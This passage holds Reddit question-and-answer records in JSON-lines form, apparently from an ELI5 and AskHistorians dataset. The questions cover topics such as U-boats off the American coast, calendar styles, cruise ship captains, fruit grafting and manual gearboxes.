analyses have shown that two histidine residues play an important role in its taste-modifying activity (Ito et al. 2007; Paladino et al. 2010) (Fig. 2). Moreover, the three-dimensional structure of the homodimer predicts a widely open conformation at acidic pH and a closed form at neutral pH (Paladino et al. 2008); it has been suggested that the histidine residues are involved in this conformational change (Paladino et al. 2010). Neoculin, another taste-modifying protein, also exhibits an open conformation at acidic pH on the basis of crystal structure analysis and molecular dynamics simulation (Shimizu-Ibuka et al. 2006). **However, the details of the mechanisms of where and how miraculin binds on the tongue and how it modifies sourness to sweetness are unknown**.\n\n > Against these backgrounds, more recently Koizumi et al. (2011) succeeded in quantitatively evaluating the acid-induced sweetness of miraculin using a cell-based assay system at the molecular level. They also clarified that **miraculin activated hT1R2\u2013hT1R3, which is the human sweet taste receptor, when the pH decreased from 6.5 to 4.8** and suggested that miraculin bound to hT1R2 at the N terminus region. In near future the modifying mechanism from sourness to sweetness may also be clarified by the developed cell-based assay system for miraculin activity. \n\n[source](_URL_0_)\n\nTL;DR: We have a decent amount of evidence suggesting a mechanism, but there are many details that have not yet been filled in."]}, "title_urls": [], "selftext_urls": ["http://www.thinkgeek.com/product/ab3f/#tabs"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/22160133"]]}
{"q_id": "6zf05h", "title": "WW2 - The Battle of the Atlantic", "selftext": "I recently found a 1st edition of The Hinge of Fate by Winston Churchill at a thrift store and so far it has been providing a great perspective of WW2 that was not covered during any history class I've taken. I understand that this is the last book of the series and my question may be answered by one of the earlier books that I have not yet read.\n\nJust finished up the first passage about German U-boat superiority in the Atlantic and my question is: how was Germany able to amass such a large force of U-boats so close to American soil? Did it start as a small hindrance and once Germany saw a weakness they exploited it?\n\nFrom The Hinge of Fate pp126, total of merchant ship losses from January to July of 1942 was 568 equating to 3,116,703 gross tons lost.\n\nI can't believe I haven't heard anything about this before and it was quite striking that they were able to inflict such huge losses. I apologise if this has been answered elsewhere, I'm on mobile and haven't figured out yet how to search for topics. Thank you in advance for your answers\n\nEdit: I realize that the US hadn't been fully committed to the war effort for long, but it still seems incredible that there were U-Boats less than 300 miles from the coast preying on merchant ships.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6zf05h/ww2_the_battle_of_the_atlantic/", "answers": {"a_id": ["dmvrghk"], "score": [3], "text": ["So maybe you can help clarify a bit OP if you mind? Are you asking how Germany built up an at least temporarily effective sub force and unleashed it when war began. Or are you asking more specifically about DRUMBEAT and the deployment of long ranged Type IX U-Boats to the North American coasts? \n\nWe should also note the original force sent was small in the weeks after Germany declared war on the US following Pearl Harbor. Fewer than a dozen boats in the first wave, with only about 2 dozen involved in the entire period. The ranges were so great only the big long ranged Type IX's could deploy with any sort of usefulness. They just encountered a nation very much unprepared for their coming and with a massive merchant coastal trade. 300 miles is nothing, ships were being sunk in sight of the coast often at night as American ASW and Patrol efforts left much to be desired. And while the losses were heavy, they were still only a small % of the US Merchant Marine, made good within a few months and bolstered by better protection. That is not to say though that Admiral King in particular hasnt come under scrutiny in works since the war for his initial poor response to the threat, and seeming unwillingness to adopt British best practices or credit the U-Boats as a serious threat in American waters until ships began being sunk nightly from Maine to Texas.\n\nWhile I would suggest a part of why you may not have remembered learning about it in school is that it easily gets absorbed into the larger battle of the Atlantic narrative. And also that its greatest impact is very local. It features prominently in the local history and experience of the war in places like Long Island, Cape Cod, the Jersey Shore, and the Outer Banks. Not so much for Iowa as an example. Volunteer and Civil Defense patrols on the beach at night, debris and the dead washing ashore and ships burning in the night, enforced blackouts and rumors of German infiltrators landing at night was in part how many shore towns experienced the war, but it also is rather specific to their geography. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "26ikco", "title": "what is 'old style' and 'new style' dates", "selftext": "Was reading about the Battle of the Boyne, and it says it was fought on the 1st July 1690 old style / 12th July 1690 new style. Can anyone explain ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26ikco/eli5_what_is_old_style_and_new_style_dates/", "answers": {"a_id": ["chrdu4r", "chrdwqt"], "score": [3, 3], "text": ["The Gregorian calendar we use today wasn't adopted by all European countries at the same time. Britain and its territories didn't adopt it until the 18th century, for instance. Russia didn't until the 20th.  This means that there are a bunch of historical events that took place on a given day, but were 12 days later according to the calendar we use today. To take another example, George Washington's birthday happened before the adoption of the calendar reforms, so is often cited in both old and new styles. \n\nIt's even more annoying for British events, because before the reform, they reckoned the new year as starting on March 25, so you'll sometimes see old and new style dates that are in different years. Again, George Washington, who was either born in 1731 or 1732, depending on which calendar you use. ", "Let's see...\n\n_URL_0_\n\n >  The battle took place on 1 July 1690 in the \"old style\" (Julian) calendar. This was equivalent to 11 July in the \"new style\" (Gregorian) calendar, although today its commemoration is held on 12 July,[1] on which the decisive Battle of Aughrim was fought a year later.\n\nAh, so the difference between Julian and Gregorian calendar systems.\n\nThe short version is that the Julian calendar was buggy, and was slowly drifting.  The calendar year wasn't staying in sync with the seasons.  The Catholics rejiggered things somewhat, mostly changing the number of leap years.  The resulting calendar better reflected what the Earth was actually doing, but it took a while to receive widespread adoption."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Battle_of_the_Boyne"]]}
{"q_id": "tqdij", "title": "Do people actually die from a 'broken heart'?", "selftext": "I have heard numerous stories about married couples where one spouse dies and then the other follows suit shortly thereafter. Is dying from a broken heart a real phenomenon? Or perhaps more simply, people who have lived in similar conditions for quite some time are expected to die at similar times. \n\nAnyone know of a paper on the subject.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tqdij/do_people_actually_die_from_a_broken_heart/", "answers": {"a_id": ["c4oty52", "c4ow25r"], "score": [71, 10], "text": ["Severe stress can actually cause a weakening of the muscle walls of the heart, which can lead to death.\n\n[Called Takotsubo cardiomyopathy](_URL_0_)", "There is also something called \"Failure to Thrive\" and a lot of older people get diagnosed with it after losing a significant other. [Wiki](_URL_0_)\n*Edit formatting "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Takotsubo_cardiomyopathy"], ["http://en.wikipedia.org/wiki/Failure_to_thrive"]]}
{"q_id": "4x610k", "title": "how much does a captain on a cruise ship control? (navigation, steering, etc)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4x610k/eli5_how_much_does_a_captain_on_a_cruise_ship/", "answers": {"a_id": ["d6ctyiw", "d6cu1up", "d6cu8ge", "d6culg7", "d6cvim4", "d6cx7gs", "d6cxaod", "d6cxwdk", "d6cxz1r", "d6czfye", "d6czgr8", "d6czwnt", "d6d1a7k", "d6d1p6s", "d6d2ps9", "d6d5ho3", "d6d6v0h", "d6d74ys", "d6d8aaa", "d6dafue", "d6dg5bi", "d6djnvh"], "score": [169, 784, 175, 3736, 41, 4, 5, 39, 18, 8, 6, 12, 2, 281, 11, 8, 203, 3, 2, 2, 3, 3], "text": ["Captains don't actually control the ship, they coordinate it. They tell the navigator to figure out where to go, tell the radio operator what to say to who, the steerer where to steer, etc. They don't physically control it.\n\nEdit: Removed my stupid edit where I reacted to my upvotes\n\nEdit: Jesus, 150 upvotes?", "Try to picture Star Trek. Captain Kirk sat in the chair in the center of the ship and gave all commands but didn't actually touch anything. The ship had a pilot that would navigate the ship at the captain's command, as well as weapons specialist for offensive and defensive battle operations, also at the command of the captain. Sadly cruise ships lack the latter", "I've only been on Naval vessels, but I imagine cruise ships operate in a similar fashion. The captain doesn't actually do any of that stuff. There's a Navigation Officer to chart the proper course, and the boatswains mate's drive the ship. The Captain is there to make decisions(we are going to X place to do X activity) and coordinates between all the department heads who have specific tasks in their department.", "Ooh, this is one I can weigh in on!\n\nThe captain doesn't stand on the bridge behind a big wheel all day and make sure everyone is doing their job.  He's more of a shot-caller.  There are planners ashore that sort him out with a schedule he has to keep and a route he has to sail, but the deck officers will handle the actual navigation.  He really steps in to assume command either during navigation in restricted waters (coming to berth), but even then he has a pilot on board who actually calls out where to go, how fast to go etc., while he makes sure he's happy that everything is going smoothly.\n\nInstead, what he does is acts as the voice of the management ashore.  He tells the crew when they need to be where, and lets them sort out the actual nav.  Where he really comes into his own is when something goes wrong, which is when he exercises his absolute authority over the vessel.  This could be for bad weather, poor planning, breakdown or any other number of reasons.  As long as he has a good reason for doing what he does, he can do what he needs to do in order to keep the crew and the vessel safe and on schedule.\n\nFor the rest of the time, like /u/rodrick160 says, he's a coordinator who sits in his cabin and does paperwork all day.\n\nSource - I work on a container ship.\n\nEDIT - Well that got bigger than expected...  I just want to say that while I summed up the captain's job, /u/ApathyZombie below absolutely nails the captain's responsibilities.  Well worth a read.", "Worked on cruise ships.\n\nPilots come on board to steer the ship out of ports and then the captain kicks it into auto pilot. The pilot leaves the ship via a smaller pilot vessel which travels along side.\n\nA pilot gets on board close to shore and brings the ship in.\n\n\nThe Costa Concordia guy was a fool and did the ship equivalent of messing up toast.", "The Captain generally controls his subordinates, the ranking officers. Of the ranking officers, there are a few who manage the engine room, the operational aspects, and the emergency units. The commanding officer is the person ultimately responsible for the well being of all aboard. ", "Just think of him as the CEO of the ship. He isn't going to get into the nitty gritty (steering/piloting the ship), but instead, is going to oversee all crew members and operations, do paperwork and make the big decisions in terms of the scheduling or in an emergency.", "The captain is much closer to the General Manager in most instances. People below him are running autonomously, but he's getting reports and things about what's going on. \n\nHe tends to be the face of the vessel as well to the passengers. \n\nIn a crisis he takes an active roll, but mostly in end of the line decision making and not any actual operations. \n\nHe's also the rule of law on the sea. He literally can do anything he wants with you when you get unruly, including leaving you in barbados. ", "Very short ELI5 version: The captain only controls the people, who, in turn, contrul the stuff. He doesn't even bother with most routine day to day stuff, as long as it works.", "I just returned from a cruise on Royal Caribbean's Granduer of the Seas.\n\nBased on my experience, I can tell you that it is the Captain's responsibility to wake you up from your nap on the Promenade Deck by coming over the ship's announcement system. He will tell you the wind speed, how many nautical miles the ship has traveled for the day,  and the air temperature. ", " ultimately the Master is the ultimate authority on the ship he commands. while he usually does not actually steer in harbors even with a licensed harbor pilot the Master is still ultimately RESPONSIBLE for the safety of all crew members and passengers as well as the safe and timely operation of his ship. he does crap loads of paperwork, and oversees the training and qualification of his junior officers in their specialties as well as being required to irregularly spot check the various facilities and food service aboard both to ensure the compliance to the owners standards and for keeping up crew morale. while not required to directly participate in emergency drills you can bet he will read and comment on the required reviews and fix any potential problems. lastly he is also expected to be seen at various dining events with various passengers, Crossing the Equator events, ect. in emergency situations he will generally be given absolute control and unless he shows himself clearly unfit his direct orders WILL be obeyed promptly. and yes if his ship sinks tradition holds him liable to be the last person to leave her...", "Cruise ship captains are rarely at the helm, they are too busy banging the dancers or a Romanian waitress. \n\nI worked with one captain who had half a dozen whores he picked up in Miami on one cruise and then his wife  &  kids on the next cruise. He was never at the helm.", "All I know is the captain controls enough to sink it. Ask Francesco Schettino - the imprisoned former captain of the Costa Concordia.\n\n_URL_0_", "I feel like I can help on this one as I'm currently a Deck Officer Cadet going through my first sea phase, which is part of a three-year training scheme.\n\nThe Captain/Master of a cruise ship (as with all ships) is your \"go to man\". He knows everything and runs the ship to the highest standards. Everyone is describing him as essentially a general manager but it's important to note he is in charge of the ship at the end of the day and what he says goes whether or not the company pushes him. When in doubt you call on the Captain to sort it out. Nowadays, he would mostly like be doing paperwork in his cabin, whilst others navigate/steer/load/unload etc and he would appear for important steps in a passage i.e coming into port.\n\nThere are other officers on board whose job it is to fulfill these other roles. Cruise ships, as I've been told by my officers, tend to have larger bridge teams which include junior officers. This is due to the nature of the ship and the requirements needed and relating this back to the Captain's job, he oversees everything these men and women do.\n\nHope it's not too complicated of an explanation and my first post should be something on what I tend to do for a living I suppose!\n\nTLDR; Don't know what to do? Call the Captain. Has fog appeared? Call the Captain. Has a storm hit? Call the Captain. Is that other ship not doing what it's supposed to do? Call the Captain. Lonely? Don't call the Captain.", "The captain, and all mates in general are a sort of a relic of yesteryear. In the modern merchant marine they do almost nothing. Shoreside support handles almost all navigation, cargo, scheduling, and crewing. \n\nThe motto of a mate is \"eat 'till we're tired, sleep 'till we're hungry.\" \n\nSource: Am a Marine Engineer", "If you're wondering about how the ship is actually controlled though, I once got drunk and had two hour long conversation on the bridge with the on duty officer on one of the world's largest cruise ship. \n\nAccording to him 99% of the time the ship is on autopilot. Where you select your speed and angle of attack(straight or on a curve and what degree of curve). Ship takes care of the rest. Docking is done manually. The one time I was on board when captain took full control was when we accidentally sailed through a hurricane and captain had to keep ship pointed straight into the wind. \n\nBut yes, as other people said, the captain generally has a very large team of people helping him. Think of it like how the president is commander in chief but he's not going to be in the field directing troops. ", "I woke up to see this thread and feel that the answers don't really satisfy me, and I think some people might get the wrong impressions of command at sea, so I'd like to toss in my 2 cents.\n\nFirst I'd like to establish a few concepts, which apply to any command at sea -- warship, commercial freighter, fishing vessel, ferryboat, pleasure cruise ship.\n\nA captain has ultimate responsibility for everything.  He can't delegate any of his responsibility.  Someone dies while at sea, whether an accident, illness, etc. the captain is questioned about it.  Food goes bad, someone is unhappy, the ship arrives late, equipment gets broken -- the captain is on the hook for this, and will be asked to justify all of his actions.\n\nIn order to meet these responsibilities, the captain has ultimate authority.  Hire crew, fire crew, arrest passengers, discipline people.  The captain can do it all.  Since he can't do it all, he can delegate authority.  He can delegate all of his authority.  In fact, it's the mark of a good command that the captain appears to the untrained eye to be doing nothing but sitting back and napping or reading while other people do all the work.\n\nAlthough the captain delegates authority to a helmsman to actually steer and to a navigator to plot courses and keep on schedule (and to engineers to maintain equipment and food service people to serve food and myriad other people to handle myriad other tasks), the captain still retains responsibility.\n\nEvery sea captain has employers who demand accountability, and every master of a vessel is accountable under maritime law for everything which happens on his vessel.\n\nDelegating authority doesn't relieve the captain of any responsibility, and there's no guarantee that all of the people on the crew are competent.  A captain has to look at recommendations from all the officers and crew (often conflicting recommendations) reporting to him and say yea or nay.  This demands judgement and expertise.", "Lot of good comments here, but I'll add one point: When a ship is under way, 24/7, there is always SOME officer in immediate charge of its operation; he's called the Officer of the Deck. He might be the captain or any of the officers who report to him in the chain of command. The people who physically control the ship and its systems take their orders directly from him.\n\nThe OOD is, in effect, a deputy captain. He interprets what the captain wants, and the captain is ultimately responsible for what he does. If the OOD screws up, the captain has screwed up: that comes with the prettier uniform and the bigger paycheck.", "Worked on a cruise ship. Best way it was described to me was as follows:\n\n A cruise ship is basically a vegas hotel on a boat. Everyone technically reports to the captain, but, in my experience, the captain manages all the issues of the ship being a boat while the Hotel Director handles all the issues of the ship being a vegas hotel.", "Tomorrow:  How much does a train conductor actually do?", "IT Officer on a 130.000 tons cruise ship.\nFrom what I have observed over the years is that the Captain is doing the maneuvering of the ship when coming into port and leaving. The port pilot that comes on board won't touch the actual controls due to simple reason - every bridge navigation controls are slightly different. Captain can also delegate the maneuvering task to the Staff Captain while being under his direct supervision - Staff Captain needs to practice to be able to take over the Captains duties at any time. To that end, they both have the same master license, it's experience that sets them apart.\n", "Since the requester asked about cruise ships, I'll chime in for that. I have worked on a cruise ship as an IT staff (keeping the servers/network working). \n\nThe captain on a cruise ship also is a social role. He or she is also expected to show up at the dinner and socialize with the guests on the ships."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Costa_Concordia"], [], [], [], [], [], [], [], [], []]}
{"q_id": "3kgnky", "title": "Why can't I graft plums branches to orange trees or nectarines to apple trees? Is a fruit salad tree possible?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3kgnky/why_cant_i_graft_plums_branches_to_orange_trees/", "answers": {"a_id": ["cuxfqmv", "cuxguhj", "cuxiciw", "cuxwvr2"], "score": [45, 180, 2, 2], "text": ["There's an artist who grafts multiple species together to create \"the Tree of 40 Fruits\" and has made many of them all over the place.  The fruits are, however, all stone fruits.\n\n[Article/Interview](_URL_0_)\n\n[Artist's own website](_URL_1_)", "The way grafting works is that you line up the cambium layers of the scion (the piece you're grafting) and the rootstock (the piece you're grafting it to) and the two pieces will behave as if the graft union were simply bark damage and heal over it.\n\nBut the pieces need to be closely related enough for the cells to recognize each other. The cells of a peach tree are closely related enough to those of a plum that each will think the other is the same and will heal together.\n\nIf they aren't closely related though then the rootstock doesn't recognize the scion as living plant material, and heals over at the graft site, which kills the scion.", "You might not be able to graft those specific varieties, but you can graft different fruits onto the same tree. \n\nGo to a nursery that sells fruit trees. Look at the base of a young tree just above roots. It'll look like a knot where it has been grafted already. The roots are not typically the same type of tree as the fruit. The trunk of the fruit tree is a branch grafted from a fruit tree not a new shoot grown from seed. ", "Basically as long as you stay within a genus then you can graft one species onto another... THe Prunus genus is pretty massive, from tiny sour little sloes growing on a thorny horror of a shrub at one end to peaches at the other with cherries, plums, gages, Mirabelles, apricots and almonds thrown in for good measure.... Just about any Prunus you buy in the UK will be grafted simply because, with the honourable exception of the aforementioned sloes and the fairly sloe-like-but-bigger bullace, most Prunus trees are pretty big and take a long time to start fruiting.... however there are specially developed rootstocks that stay smaller and more compact and start fruiting earlier... smaller and compact is good for the backyard and earlier fruiting is great for the commercial growers to see a return... Add to this that all the named varieties of fruit with the exception of some of the damsons, sloes, bullaces and cherry-plums (it's a wild plum that looks like a cherry, but is a separate species to both) won't come true from seed and you are left with an industry that has to graft known quality fruiting top growth onto dwarfing rootstocks to get a sellable product.... source... well I'm a keen gardener and grow almonds, cherries, peaches and morellos at home and hunt down cherry-plums, yellow gages, Mirabelles, sloes, bullaces and damsons to make jam and fruity booze out of.... now if the sun would just shine here in Swindon (we have a famous roundabout intersection)  then my peach crop might ripen...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.epicurious.com/archive/chefsexperts/interviews/sam-van-aken-interview", "http://www.treeof40fruit.com/"], [], [], []]}
{"q_id": "360nhi", "title": "My friend said that Roman slaves had more vacation time than the average American, this sounds like rubbish, but I don't know enough about it to disprove it, help!", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/360nhi/my_friend_said_that_roman_slaves_had_more/", "answers": {"a_id": ["cr9nkad", "cr9nove", "cr9uoz4", "cr9zat1", "cra25sl", "crabpmw"], "score": [13, 290, 33, 7, 9, 31], "text": ["Arrrg my textbook is not with me but I'll fish it out when I can. \n\nIn my Ancient Rome class (graduate level course) I was taught that Romans had a holiday for everything all the time. And a god for just about everything too. I mean there was someone you could pray to about your front door. Anyways, they had all these holidays. I'm talking like once every month or so. In the warm seasons, it would be more like once every ten days. You get that day \"off\" to celebrate! It's a huge party with games and plays and wine and food etc. Huge party. The whole town's invited. I remember my prof saying that on Emperors (not all, but especially Julius Caesar) birthdays, the government even gave people bonuses. Like real cash. \n\n\u200bDavid Potter, Ancient Rome:  A New History;\n\u200bJames Rives and Robert Graves, eds., Suetonius:  The Twelve Caesars;\n\u200bJames Rives and Harold Mattingly, eds., Tacitus:  Agricola and Germania.\n\nThese were the required readings but since I don't have them with me I can't quote. I hope this helps get you started in the right direction. Sorry for so little detail, it was a while ago. \n\nE: As stated below, I forgot the OP was about slaves and my post is in regards to citizens. My bad! ", "It would be misleading to define it as a \"vacation\". In some cases, due to religious holiday observances, *some* restrictions on slaves were relaxed [1], however I'd say that the overall harsh life of a slave and the few instances where they were allowed to do something other than work cannot be compared even with that of a lowly modern worker. I would also imagine that any easing of work patterns would have been entirely at their owners' discretion. And of course it was impossible to resign. \n\n[1] _URL_0_", "Follow up: did the slaves really get three days off a week post Spartacus? I read this here on reddit here and it just sounds too much.", "Would slave owners take their slaves with them on vacation?", "I'm not familiar with the agricultural cycle in the Mediterranean, but wouldn't there be certain times of the year when there simply wasn't a lot of work to be done?", "Vacation time would indicate benefits. This would then indicate that roman slaves had some sort of rights or that they could be expected to be treated a certain way by their masters. Roman Law and the examples of slavery from ancient sources do not indicate any such expectations. \n\nThere were strict laws on what to do with a runaway slave or how a crime committed by a slave should be judged differently to a free person. There were many different types of slaves as well. Personal slaves, domestic slaves could expect an easier life than slaves working in agriculture on vast estates or slaves working in mines. Some slaves were branded, chained, some were dressed in fine clothes. \n\nSlaves were freed, but there is nothing to support Cicero's claim that a foreign slave, captured in war could expect to be freed after six years of service. Cicero's own slaves were not freed this early. \n\nSlaves were property. Property doesn't get a 'vacation.'\n\n---------------------------------------------------------------------\nMy main source:\nTitle: Roman Slavery and Roman Law\nAuthor(s): Keith R. Bradley\nSource: Historical Reflections / R\u00e9flexions Historiques, Vol. 15, No. 3, HISTORICAL REFLECTIONS REFLEXIONS HISTORIQUES (Fall 1988), pp. 477-495\nStable URL: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://penelope.uchicago.edu/~grout/encyclopaedia_romana/calendar/saturnalia.html"], [], [], [], ["http://www.jstor.org/stable/23232665"]]}
{"q_id": "6pltxq", "title": "how can i tell if i'm being throttled or being capped by my isp.", "selftext": "Also, a better on explanation on the difference between the two. \n\nRecently I've noticed my ping has gone up by 20 MS and it's not just on one server it's multiple servers leading me to believe that it's my internet connection.\n\nI just want to make sure I'm being throttled before I contact my ISP about it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6pltxq/eli5_how_can_i_tell_if_im_being_throttled_or/", "answers": {"a_id": ["dkqcjzu", "dkqh6p4", "dkqle0r"], "score": [8, 2, 2], "text": ["Depends on what you're using the bandwidth for.\n\nYour ping only rates the response time, not the amount of data transferred, and that's what they will usually use to throttle you.  If you just sit in an empty chat room with nothing but text, not much data is even being transferred.  But if you're downloading 1080p movies every night and sending massive attachments to business colleagues, the amount of data used is going to be much higher.\n\nYour ISP might throttle you based on how much total data you've used (even \"unlimited plans\" these days have caps, but they are generously large).  Depending on what kind of data plan you've got with an ISP, the total bandwidth amount might be different.  \n\n_________\n\nThink of it kind of like a gas tank for a car, when you (or the person responsible for the service) pays the bill, they get X amount of megabytes (or other higher -bytes) per month.  If you download or upload a total amount of data greater than that, it's like the car being out of gas.\n\nAnd a car without gas goes nowhere fast.\n\nIf the ISP really wants to throttle you (but still consider your account in good standing), they'll slow you down to dial-up speeds.  Kind of like you trying to drop the car into Neutral and push it yourself.\n\nThat also means that, since your car ran out of gas, you didn't think ahead to refill it.  You done messed up, by transferring so much data, the ISP might look at your history at just what you were doing to use so much (and if none of it was legal, they might just flag your account; like with file sharing legal disputes).  This is like, since you're already pushing your car in neutral, a cop will sooner or later stop to see if you need help (maybe).\n", "Sysadmin for an ISP here:\n\nA sudden jump in ping does not correlate to throttling; Ping is how fast it takes a data packet to make a round trip from your device to the remote server, and back.  Bandwidth is the amount data packets you can send at once.\n\nA higher ping could mean that your ISP is upgrading / migrating core switches,  it could mean an upstream provider is doing the same, it could mean the interconnect is being throttled by the upstream provider in a dispute (see Netflix / Verizon) but 95% of the time it's your home network.\n\nLots of traffic can and will impact your ping.  Examples of this are heavy (HD), multiuser Netflix instances, windows updates, downloading from Steam / Xbox / Playstation Store, torrents and all that jazz.\n\nDisconnect all devices from your home network aside from the device you want to test.  If the ping is what you expect it to be, something is using bandwidth, if the result is unchanged see above.\n\n\nOpen up a cmd shell:  tracert 8.8.8.8 (or any ip you want)\n ", "For technological method, use [iperf3](_URL_0_) a command line tool to test your effective bandwidth.\n\nChinese citizens here where ISP throttled traffic as a regular practice. They usually don't increase the ping but drop packet. If you see a significant packet loss (20%+, in China this can be as high as 90%) when you are *not* using your maximum bandwidth, your ISP is downgrading your internet. (Assuming the remote host has a good ISP and more bandwidth than you do)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://iperf.fr/"]]}
{"q_id": "60gtwv", "title": "why quitting smoking makes you fat ?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60gtwv/eli5_why_quitting_smoking_makes_you_fat/", "answers": {"a_id": ["df68e0v", "df6a19c", "df6dcog", "df6e0d7", "df6h75c"], "score": [84, 19, 6, 2, 8], "text": ["Lot's of people eat due to boredom. Lots of people smoke when bored.\n\nIf you stop smoking, lots of people use that bored energy to snack.\n\nAdditionally, nicotine is an appetite suppressant, so losing that increases hunger.", "Smoking (nicotine) is an appetite suppressant. Cigarettes were once advertised as a way to control appetite and for dieting. When people stop smoking the appetite that has been suppressed for so long comes back in hurry and causes many folks to over eat. Also the need to replace the reward cycle of smoking is often replaced by food.  ", "Part of smoking is also an oral fixation.  Like chewing tobacco and chewing gum.  That's why you see a lot of smokers who quit will constantly be chewing gum, or on a toothpick or pen, anything.  ", "Great question!\n\nSo smoking suppresses appetite a good bit. When you ditch the cigarettes, sometimes you find yourself eating more than you used to. If your smoking was linked to an oral fixation (need to put your hand to your mouth and put something in it), you might find yourself snacking more often to satisfy that need. \n\nAlso, nicotine is a known stimulant, and raises your metabolic level, so you are burning more calories with it's intake than you would without. When you stop, your body is used to that nicotine burning more fuel (fat), so to speak, and you tend to store more fat than you did when you were smoking. ", "* nicotine suppresses appetite\n* many people who some replace the urge to have a cigarette in their mouth with food\n* many people smoke when they are bored or to break up their day, and replace that with snacking\n* not smoking makes food taste better"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2lcmo8", "title": "how london works?", "selftext": "As an American, I have always been confused by it. There's London, the city of London, the London Corporation, greater London. Westminster, which is a city of it's own, but also part of London? \n\nHow do all these work together? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lcmo8/eli5_how_london_works/", "answers": {"a_id": ["cltisg5", "cltixr5"], "score": [12, 18], "text": ["The best I can offer is a YouTube video by cgpgrey on the subject.  It's quite good In my opinion \n\nThe City of London Explained: _URL_0_", "The City of London refers to the old part that goes back to medieval and roman times. Today it accounts for just 1 square mile of modern London. \n\nHowever in days past the City was very important to the King as a way to raise money to fight his wars, and as such was able to extract certain rights and priveleges from the monarch, such as the right to run its own affairs. This right still exists to this day through the Corporation of London, the City of Londons governing body. \n\nThe old city was packed and a bit stinky, so eventually the King moved out and upriver to found a new palace at Westminster, the court and business of government followed to form the modern City of Westminster. Eventually these two conurbations met in the middle to make what looked to the naked eye as one big city but which was in fact two.\n\nThe money from the old city and the power of the new attracted more and more people, they settled in surrounding areas forming what we know today as the boroughs of london. Today the bouroughs and City of Westminster are all managed by local government bodys called councils - but the City of London keeps its old medievel corporation.\n\nUntil the 1980s, what we call \"London\" had a larger governing body called the Greater London Council, which oversaw and coordinated the work of the borough councils. It was abolished in the 80s due to power struggles with the Thatcher government. At the turn of the millenium a new body was created, the London Assembly, headed by a new London Mayor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/playlist?list=PLqs5ohhass_QScZFYoQX-7376-Zp654mH"], []]}
{"q_id": "3snogm", "title": "the difference between a synchronized and a non- synchronized manual transmission.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3snogm/eli5_the_difference_between_a_synchronized_and_a/", "answers": {"a_id": ["cwyw6al", "cwyx25j"], "score": [2, 5], "text": ["So a synchronized gear box will adjust the rpm to match the gear you shift up to, like from 1st to 2nd. However a non synchronized gearbox requires you to adjust the rpm manually by hitting the gas with the clutch in while you're shifting. ", "What you have to realize at first with a normal manual gearbox is that all the gear ratios are connected to the engine all the time the clutch is engaged, including reverse. \n\nHave a look at [this](_URL_0_) picture. This is a very simple gearbox with two gears, the small blue gear is high, the big is low.  \n\nYou have to understand a few things here. \n\n* Anytime the clutch is ~~up~~ engaged, and engine is running, the green shaft, red shaft, and blue gears are all spinning. \n* The yellow shaft is connected directly with your wheels. Faster that's going, faster your wheels are going. You're stopped it's stopped.\n* The purple collar is fitted via splines to the yellow shaft. That means it is always spinning with the yellow shaft, but can also move along it. \n* The blue gears are **not** connected directly to the yellow shaft. They spin freely on that shaft via bearings. The yellow shaft can turn within them. \n\nWhat actually connects the blue gears to the yellow shaft is that purple collar. When you move the gear lever, those \"dog teeth\" sticking out either side of the purple collar lock with the appropriate blue gear and now give a direct link through the gearbox from the engine to the yellow shaft, via one of those gears. \n\nIf you're following that, then why a synchronized gearbox is important comes in. \n\nSay for instance you're running in the low gear, and you want to change up. In an unsynchronized gearbox, because the other blue gear isn't spinning at the same speed the yellow shaft is, as it's a different gear ratio, if you just tried to ram the gear lever across, you'd get an awful grinding graunching noise as the little dog teeth fail to mesh up. \n\nWhat you have to do then is what's called 'double declutch'. That means you press the clutch in, shift into neutral, and lift the clutch. This means the engine is now connected to the neutral gearbox, which will now be spinning however fast the engine is spinning. It's now up to you to vary the revs of the engine to get the blue gear you want to be in next matched up to the speed of the yellow shaft, which is still spinning with your wheels. Once it's matched, you press the clutch in a second time, to take the engine force out of the gearbox, and (hopefully) have a smooth gearshift into the target gear. \n\nWhat a synchronizer does is, while the clutch is disengaged, smooth the transition of speeds between the blue gears and yellow shaft. Clutch goes down, and as the gear shifter moves the purple collar, a little friction device starts to brake or speed up the appropriate blue gear to match the yellow shaft, making it slip into mesh smoothly without the need to double clutch.\n\nHope that clears it up at least a little. \n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sandsmuseum.com/cars/elise/experience/diary/feb06/manualauto5.gif"]]}
